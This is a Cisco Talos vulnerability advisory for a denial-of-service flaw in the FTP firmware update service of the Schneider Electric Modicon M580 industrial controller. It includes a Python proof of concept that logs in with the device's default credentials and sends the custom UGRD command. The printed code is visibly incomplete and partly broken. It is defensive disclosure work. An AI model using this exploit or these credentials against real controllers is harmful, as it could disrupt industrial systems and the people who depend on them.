Talos Vulnerability Report


Schneider Electric Modicon M580 FTP firmware update loader service denial-of-service vulnerability

October 8, 2019
CVE Number



An exploitable denial-of-service vulnerability exists in the FTP firmware update service function of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.80. A specially ordered set of FTP commands can cause the FTP loader service to enter a waiting state, resulting in an inability to update device firmware via FTP. An attacker can use default credentials to send commands that trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.80

Product URLs


CVSSv3 Score

4.9 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H


CWE-248: Uncaught Exception


The Modicon M580 is the latest in Schneider Electric’s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.

When conducting a firmware upgrade of the Modicon M580 there are a few options to choose from, including FTP. During this process, the custom FTP command UGRD can be used to initiate the upgrade on a specified flash channel and index as long as the directory and file structure is configured correctly. When this command is sent, the upgrade loader service switches from an ‘OK’ state to a ‘not ready’ state. During a legitimate firmware upgrade process, the loader service will only stay in this ‘not ready’ state while the upgrade is occurring.

If the directory and file structure is not configured correctly and the UGRD FTP command is sent, the loader service will still switch from its ‘OK’ state to a ‘not ready’ state. In this case the service will not switch back to ‘OK’ because the update does not get completed. When this occurs, the device will no longer be able to conduct a firmware update via FTP.

At this time the only method that we have discovered to move the loader service back into the ‘OK’ state is to press the physical reset button on the device.

Exploit Proof of Concept

import socket

def sendCommand(s, cmd):
    modCmd = "{}\r\n".format(cmd)
    resp = s.recv(1024)
    return resp
def main():
    # general configuration
    rhost = ""
    rport = 21
    ftpuser = "loader"
    ftppass = "fwdownload"
    # socket setup
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
    # login
    usercmd = "USER {}".format(ftpuser)
    sendCommand(s, usercmd)
    passcmd = "PASS {}".format(ftppass)
    sendCommand(s, passcmd)
    # trigger an out of order upgrade
    resp = sendCommand(s, "UGRD")
    if "ugrd OK" in resp:
        # send another upgrade request to check for success
        resp = sendCommand(s, "UGRD")
        if "ugrd KO" in resp:
            print("ERROR: An unexpected error has occurred. Use the phyical 'Reset' button to fix the issue.")
        print("ERROR: The loader service appears to already be busy. If this is not expected, use the physical 'Reset' button to fix the issue.")

if __name__ == '__main__':


2019-05-08 - Vendor Disclosure
2019-09-10 - Disclosure date extended
2019-10-09 - Public Release


Discovered by Jared Rittle of Cisco Talos.